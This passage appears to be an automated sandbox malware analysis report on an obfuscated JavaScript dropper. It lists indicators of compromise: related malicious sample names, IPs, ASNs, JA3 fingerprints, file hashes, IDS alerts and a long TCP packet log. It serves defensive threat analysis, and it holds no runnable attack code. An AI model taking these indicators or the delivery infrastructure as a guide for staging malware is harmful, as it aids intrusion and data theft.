                                                      • 208.95.112.1
                                                      adbce.exeGet hashmaliciousAZORult, Quasar, RamnitBrowse
                                                      • 208.95.112.1
                                                      dlmgr.exeGet hashmaliciousAZORult, Quasar, RamnitBrowse
                                                      • 208.95.112.1
                                                      REVISED PI.PDF.exeGet hashmaliciousAgentTeslaBrowse
                                                      • 208.95.112.1
                                                      NEW ORDER.exeGet hashmaliciousAgentTeslaBrowse
                                                      • 208.95.112.1
                                                      Orden de compra.000854657689654253545676785436.exeGet hashmaliciousAgentTeslaBrowse
                                                      • 208.95.112.1
                                                      00_datos de la transacci#U00f3n rechazada y n#U00famero de cuenta incorrecto.exeGet hashmaliciousAgentTeslaBrowse
                                                      • 208.95.112.1
                                                      1.exeGet hashmaliciousAsyncRAT, XWormBrowse
                                                      • 208.95.112.1
                                                      smtp.zoho.euPedido9456_muestras_material_JC_INDUSTRIAL_DE_MEXICO SA de CV.jsGet hashmaliciousAgentTeslaBrowse
                                                      • 185.230.212.164
                                                      172473834493f9dd4c11e505629bd9b8efb5932f698a99acd495429ea8dcfe99effc6f3741352.dat-decoded.exeGet hashmaliciousAgentTeslaBrowse
                                                      • 185.230.212.164
                                                      RFQ448903423_MAT_HASUE_de_Mexico.jsGet hashmaliciousAgentTeslaBrowse
                                                      • 185.230.212.164
                                                      File.com.exeGet hashmaliciousDarkTortilla, Snake Keylogger, VIP KeyloggerBrowse
                                                      • 185.230.212.164
                                                      Pedido9456_muestras_material_JC_INDUSTRIAL_DE_MEXICO SA de CV.exeGet hashmaliciousAgentTesla, DarkTortillaBrowse
                                                      • 185.230.212.164
                                                      Orden#46789_2024_Optoflux_mexico_sderlss.exeGet hashmaliciousAgentTesla, DarkTortillaBrowse
                                                      • 185.230.214.164
                                                      Orden#46789_2024_Optoflux_mexico_sderlsTY.exeGet hashmaliciousAgentTesla, DarkTortillaBrowse
                                                      • 185.230.214.164
                                                      Orden#46789_2024_Optoflux_mexico_sderlsTYP.exeGet hashmaliciousAgentTesla, DarkTortillaBrowse
                                                      • 185.230.214.164
                                                      okPY77wv6E.exeGet hashmaliciousAgentTeslaBrowse
                                                      • 185.230.214.164
                                                      RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exeGet hashmaliciousAgentTeslaBrowse
                                                      • 185.230.214.164
                                                      ia601606.us.archive.orgPedido9456_muestras_material_JC_INDUSTRIAL_DE_MEXICO SA de CV.jsGet hashmaliciousAgentTeslaBrowse
                                                      • 207.241.227.86
                                                      payment PAGO 2974749647839452.jsGet hashmaliciousUnknownBrowse
                                                      • 207.241.227.86
                                                      payment PAGO 2974749647839452.jsGet hashmaliciousFormBookBrowse
                                                      • 207.241.227.86
                                                      RFQ-MR-24-09101 SPS.jsGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                      • 207.241.227.86
                                                      INQUIRY#46789-AUG24.jsGet hashmaliciousAgentTeslaBrowse
                                                      • 207.241.227.86
                                                      RFQ448903423_MAT_HASUE_de_Mexico.jsGet hashmaliciousAgentTeslaBrowse
                                                      • 207.241.227.86
                                                      INQUIRY#46789-AUG24.jsGet hashmaliciousRemcosBrowse
                                                      • 207.241.227.86
                                                      Comprovante_Swift.xlam.xlsxGet hashmaliciousAgentTeslaBrowse
                                                      • 207.241.227.86
                                                      Shipping Documents.jsGet hashmaliciousRemcosBrowse
                                                      • 207.241.227.86
                                                      shipping documents.jsGet hashmaliciousUnknownBrowse
                                                      • 207.241.227.86

                                                      ASNs

                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                      INTERNET-ARCHIVEUSinv-lista de embalaje de env#U00edo 08-29.xlam.xlsxGet hashmaliciousAgentTeslaBrowse
                                                      • 207.241.232.154
                                                      Pedido9456_muestras_material_JC_INDUSTRIAL_DE_MEXICO SA de CV.jsGet hashmaliciousAgentTeslaBrowse
                                                      • 207.241.227.86
                                                      RFQ_0030829024SEPT.xla.xlsxGet hashmaliciousRemcosBrowse
                                                      • 207.241.232.154
                                                      RFQ -PO-SMT290824.xlsGet hashmaliciousRemcosBrowse
                                                      • 207.241.232.154
                                                      SI_56127.vbsGet hashmaliciousRemcosBrowse
                                                      • 207.241.232.154
                                                      CAN_POST2617276.vbsGet hashmaliciousRemcosBrowse
                                                      • 207.241.232.154
                                                      CAN_POST7865678.vbsGet hashmaliciousAsyncRATBrowse
                                                      • 207.241.232.154
                                                      Sepco RFQ.xlsGet hashmaliciousRemcosBrowse
                                                      • 207.241.232.154
                                                      SecuriteInfo.com.Exploit.CVE-2017-11882.123.9070.28632.rtfGet hashmaliciousRemcosBrowse
                                                      • 207.241.232.154
                                                      payment PAGO 2974749647839452.jsGet hashmaliciousUnknownBrowse
                                                      • 207.241.227.86
                                                      COMPUTERLINEComputerlineSchlierbachSwitzerlandCHPedido9456_muestras_material_JC_INDUSTRIAL_DE_MEXICO SA de CV.jsGet hashmaliciousAgentTeslaBrowse
                                                      • 185.230.212.164
                                                      172473834493f9dd4c11e505629bd9b8efb5932f698a99acd495429ea8dcfe99effc6f3741352.dat-decoded.exeGet hashmaliciousAgentTeslaBrowse
                                                      • 185.230.212.164
                                                      RFQ448903423_MAT_HASUE_de_Mexico.jsGet hashmaliciousAgentTeslaBrowse
                                                      • 185.230.212.164
                                                      bat.batGet hashmaliciousAsyncRAT, DcRat, PureLog Stealer, XWorm, zgRATBrowse
                                                      • 185.230.212.169
                                                      File.com.exeGet hashmaliciousDarkTortilla, Snake Keylogger, VIP KeyloggerBrowse
                                                      • 185.230.212.164
                                                      https://forms.zohopublic.eu/oyika/form/OfficeAdministration/formperma/9Y9iItPBjtbizq-LjIqfCLG9lgQgDpYgginS586dnzMGet hashmaliciousUnknownBrowse
                                                      • 89.36.170.147
                                                      http://workdrive.zohoexternal.comGet hashmaliciousUnknownBrowse
                                                      • 89.36.170.147
                                                      https://workdrive.zohoexternal.com/external/writer/46fdf68b2f78265d07797e09c63aeef4064c3374cfc014062660688cb6876b9bGet hashmaliciousUnknownBrowse
                                                      • 89.36.170.147
                                                      https://diverescueintl.com/Get hashmaliciousHTMLPhisherBrowse
                                                      • 89.36.170.147
                                                      3533cdbe-ace4-ee24-ff8f-a6fbfe7cf297.emlGet hashmaliciousHTMLPhisherBrowse
                                                      • 89.36.170.147
                                                      TUT-ASUSinv-lista de embalaje de env#U00edo 08-29.xlam.xlsxGet hashmaliciousAgentTeslaBrowse
                                                      • 208.95.112.1
                                                      Pedido9456_muestras_material_JC_INDUSTRIAL_DE_MEXICO SA de CV.jsGet hashmaliciousAgentTeslaBrowse
                                                      • 208.95.112.1
                                                      OFFER-INQUIRY.jarGet hashmaliciousSTRRATBrowse
                                                      • 208.95.112.1
                                                      adbce.exeGet hashmaliciousAZORult, Quasar, RamnitBrowse
                                                      • 208.95.112.1
                                                      dlmgr.exeGet hashmaliciousAZORult, Quasar, RamnitBrowse
                                                      • 208.95.112.1
                                                      REVISED PI.PDF.exeGet hashmaliciousAgentTeslaBrowse
                                                      • 208.95.112.1
                                                      NEW ORDER.exeGet hashmaliciousAgentTeslaBrowse
                                                      • 208.95.112.1
                                                      Orden de compra.000854657689654253545676785436.exeGet hashmaliciousAgentTeslaBrowse
                                                      • 208.95.112.1
                                                      00_datos de la transacci#U00f3n rechazada y n#U00famero de cuenta incorrecto.exeGet hashmaliciousAgentTeslaBrowse
                                                      • 208.95.112.1
                                                      1.exeGet hashmaliciousAsyncRAT, XWormBrowse
                                                      • 208.95.112.1
                                                      VERIDYENVeridyenBilisimTeknolojileriSanayiveTicaretLiPedido9456_muestras_material_JC_INDUSTRIAL_DE_MEXICO SA de CV.jsGet hashmaliciousAgentTeslaBrowse
                                                      • 78.142.208.13
                                                      vwAGeX1bR4.exeGet hashmaliciousLummaC, Go Injector, LummaC Stealer, SmokeLoaderBrowse
                                                      • 185.149.100.242
                                                      uV7ttrc7wN.exeGet hashmaliciousLummaC, Go Injector, LummaC Stealer, SmokeLoaderBrowse
                                                      • 185.149.100.242
                                                      064c59b3a8b03e6c733f88483fd675d99bc805399c55d4a1a7b613aa20d08de8_dump.exeGet hashmaliciousLummaC, Go Injector, LummaC Stealer, SmokeLoaderBrowse
                                                      • 185.149.100.242
                                                      43q1wNs9CA.exeGet hashmaliciousLummaC, Go Injector, LummaC Stealer, SmokeLoaderBrowse
                                                      • 185.149.100.242
                                                      XSy5QvnuYn.exeGet hashmaliciousLummaC, Go Injector, LummaC Stealer, SmokeLoaderBrowse
                                                      • 185.149.100.242
                                                      YK85paB4RW.exeGet hashmaliciousLummaC, Go Injector, LummaC Stealer, SmokeLoaderBrowse
                                                      • 185.149.100.242
                                                      E6YUQ1pon1.exeGet hashmaliciousLummaC, Go Injector, LummaC Stealer, SmokeLoaderBrowse
                                                      • 185.149.100.242
                                                      D0XKEnHabJ.exeGet hashmaliciousLummaC, Go Injector, LummaC Stealer, SmokeLoaderBrowse
                                                      • 185.149.100.242
                                                      82HD7ZgYPA.exeGet hashmaliciousLummaC, Go Injector, LummaC Stealer, SmokeLoaderBrowse
                                                      • 185.149.100.242

                                                      JA3 Fingerprints

                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                      3b5074b1b5d032e5620f69f9f700ff0eFeature Status Update 3RLSM.htmlGet hashmaliciousUnknownBrowse
                                                      • 78.142.208.13
                                                      • 207.241.227.86
                                                      ZrpwHieO7K.lnkGet hashmaliciousMalLnkBrowse
                                                      • 78.142.208.13
                                                      • 207.241.227.86
                                                      QUOTATION_AUGQTRA071244#U00faPDF.scr.exeGet hashmaliciousUnknownBrowse
                                                      • 78.142.208.13
                                                      • 207.241.227.86
                                                      QUOTATION_AUGQTRA071244#U00faPDF.scr.exeGet hashmaliciousUnknownBrowse
                                                      • 78.142.208.13
                                                      • 207.241.227.86
                                                      Pedido9456_muestras_material_JC_INDUSTRIAL_DE_MEXICO SA de CV.jsGet hashmaliciousAgentTeslaBrowse
                                                      • 78.142.208.13
                                                      • 207.241.227.86
                                                      DHL STATEMENT OF ACCOUNT - 30082024.exeGet hashmaliciousGuLoaderBrowse
                                                      • 78.142.208.13
                                                      • 207.241.227.86
                                                      QUOTATION_AUGQTRA071244#U00faPDF.scr.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                      • 78.142.208.13
                                                      • 207.241.227.86
                                                      DHL Page1.exeGet hashmaliciousAgentTesla, GuLoaderBrowse
                                                      • 78.142.208.13
                                                      • 207.241.227.86
                                                      SWIFT COPIES.exeGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                      • 78.142.208.13
                                                      • 207.241.227.86
                                                      SI_56127.vbsGet hashmaliciousRemcosBrowse
                                                      • 78.142.208.13
                                                      • 207.241.227.86

                                                      Dropped Files

                                                      ⊘No context

                                                      Created / dropped Files

                                                      C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:data
                                                      Category:dropped
                                                      Size (bytes):64
                                                      Entropy (8bit):1.1940658735648508
                                                      Encrypted:false
                                                      SSDEEP:3:Nllluld4Jt/Z:NllU6j
                                                      MD5:745E05B9A9795FA48B7E42C8C025B9FA
                                                      SHA1:A3C346B741ACC27369A4AF25CAEB45BC874F0F58
                                                      SHA-256:B6AF71FFBBE45D8F8F3503C329FBA2EE8EF16307C16979260662355E014E4501
                                                      SHA-512:9783934689D83CD7A99F306A149B2240B7200C1E1A9B951A51EBC12909A68786189A3412FA62BBB27B7E0F3B013FD4D111C5CB9E1791C0BAF8779B95C6280F62
                                                      Malicious:false
                                                      Reputation:low
                                                      Preview:@...e.................................L..............@..........

                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2galabz2.wqr.psm1

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:ASCII text, with no line terminators
                                                      Category:dropped
                                                      Size (bytes):60
                                                      Entropy (8bit):4.038920595031593
                                                      Encrypted:false
                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                      Malicious:false
                                                      Reputation:high, very likely benign file
                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lliqdzx1.2rq.psm1

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:ASCII text, with no line terminators
                                                      Category:dropped
                                                      Size (bytes):60
                                                      Entropy (8bit):4.038920595031593
                                                      Encrypted:false
                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                      Malicious:false
                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mqr03okw.j0s.ps1

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:ASCII text, with no line terminators
                                                      Category:dropped
                                                      Size (bytes):60
                                                      Entropy (8bit):4.038920595031593
                                                      Encrypted:false
                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                      Malicious:false
                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mqt2f2g2.wq0.ps1

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:ASCII text, with no line terminators
                                                      Category:dropped
                                                      Size (bytes):60
                                                      Entropy (8bit):4.038920595031593
                                                      Encrypted:false
                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                      Malicious:false
                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                      Static File Info

                                                      General

                                                      File type:Unicode text, UTF-16, little-endian text, with very long lines (411), with CRLF line terminators
                                                      Entropy (8bit):3.6980370046721123
                                                      TrID:
                                                      • Text - UTF-16 (LE) encoded (2002/1) 64.44%
                                                      • MP3 audio (1001/1) 32.22%
                                                      • Lumena CEL bitmap (63/63) 2.03%
                                                      • Corel Photo Paint (41/41) 1.32%
                                                      File name:INQUIRY#46789_MAT24_NEW_PROJECT_SAMPLE.js
                                                      File size:1'346'674 bytes
                                                      MD5:e4b82b3738d246e3734ac96ac87dc0e8
                                                      SHA1:34e616d4a1ddeb444b43af44ef5a89fe40200c51
                                                      SHA256:c95e9d8f6e53233a7c10c496b19a66858c52c013d426f3d566ae978071a4dce6
                                                      SHA512:b1661e2a709d39d32e653ef710651c40e346f31395cdd8af051823d926f2ad7c056bfc49a9fadf619ec6010ac0d2689f1e72f52283b8ea175175470318bb1133
                                                      SSDEEP:24576:B8m8Dz4AcillXWZvFckYsCFnZclMBznPJicAPD:jgArzcbsCFnZj7JicAPD
                                                      TLSH:E055D61035EAB05CF1F32FA357ED65EA8FABB5722A56552E7004030B4A62EC0CE55B73
                                                      File Content Preview:.. .v.a.r. .b.W.p.U.L.i.L.L.A.N.W.q.L.S.N.h.c.q.i.u.U.K.K.n.G.W.W.P.W.R.L.p.n.a.Z.A.e.c.N.j.T.Z.L.u.c.W.U.o.i.K.d.L.B.d.i.d.J.L.P.i.W.a.B.p.m.h.p.f.l.h.i.L.n.L.U.u.W.j.b.A.a.W.i.d.L.W.n.c.A.C.i.L.T.r.N.f.W.N.e.z.W.d.b.x.b.B.K.Z.c.K.o.b.x.U.A.o.R.o.g.W.b.m

                                                      File Icon

                                                      Icon Hash:68d69b8bb6aa9a86

                                                      Network Behavior

                                                      Suricata IDS Alerts

                                                      TimestampProtocolSIDSignatureSeveritySource PortDest PortSource IPDest IP
                                                      2024-08-30T10:38:57.090961+0200TCP2049038ET MALWARE Malicious Base64 Encoded Payload In Image144349705207.241.227.86192.168.2.8
                                                      2024-08-30T10:38:59.354996+0200TCP2020423ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 1 M114434970678.142.208.13192.168.2.8

                                                      Network Port Distribution

                                                      TCP Packets

                                                      TimestampSource PortDest PortSource IPDest IP
                                                      Aug 30, 2024 10:38:54.730803967 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:54.730864048 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:54.730957985 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:54.740134954 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:54.740165949 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.350797892 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.350879908 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.358208895 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.358253956 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.358601093 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.374042034 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.420506001 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.637495041 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.637531042 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.637547016 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.637588024 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.637619019 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.637639999 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.637666941 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.667337894 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.667354107 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.667443037 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.667471886 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.667510986 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.703290939 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.703309059 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.703396082 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.703429937 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.703469992 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.756915092 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.756936073 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.757041931 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.757077932 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.757122040 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.758702040 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.758718014 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.758778095 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.758795977 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.758819103 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.758830070 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.793817043 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.793840885 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.793963909 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.793991089 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.794034004 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.847714901 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.847734928 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.847856045 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.847886086 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.847923994 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.848067999 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.848083973 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.848130941 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.848138094 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.848167896 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.849790096 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.849812031 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.849852085 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.849867105 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.849890947 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.849905014 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.850831985 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.850847960 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.850898027 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.850905895 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.850941896 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.853744984 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.853777885 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.853816032 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.853826046 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.853837013 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.853857994 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.873487949 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.884702921 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.884721994 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.884818077 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.884843111 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.884882927 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.909063101 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.909086943 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.909168959 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.909198999 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.909223080 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.909252882 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.909367085 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.909367085 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.909367085 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.909367085 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.909379959 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.909415960 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.938273907 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.938288927 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.938406944 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.938436031 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.938483000 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.938788891 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.938805103 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.938844919 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.938853025 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.938883066 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.938903093 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.939321041 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.939337969 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.939376116 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.939384937 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.939410925 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.939431906 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.939886093 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.939902067 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.939944029 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.939951897 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.939980984 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.940005064 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.942989111 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.943007946 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.943054914 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.943070889 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.943089962 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.943110943 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.975162983 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.975183010 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.975291967 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.975316048 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.975359917 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.999799967 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.999819994 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.999917984 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.999948978 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:55.999970913 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:55.999983072 CEST49705443192.168.2.8207.241.227.86
                                                      Aug 30, 2024 10:38:56.000051975 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:56.000076056 CEST44349705207.241.227.86192.168.2.8
                                                      Aug 30, 2024 10:38:56.000101089 CEST49705443192.168.2.8207.241.227.86
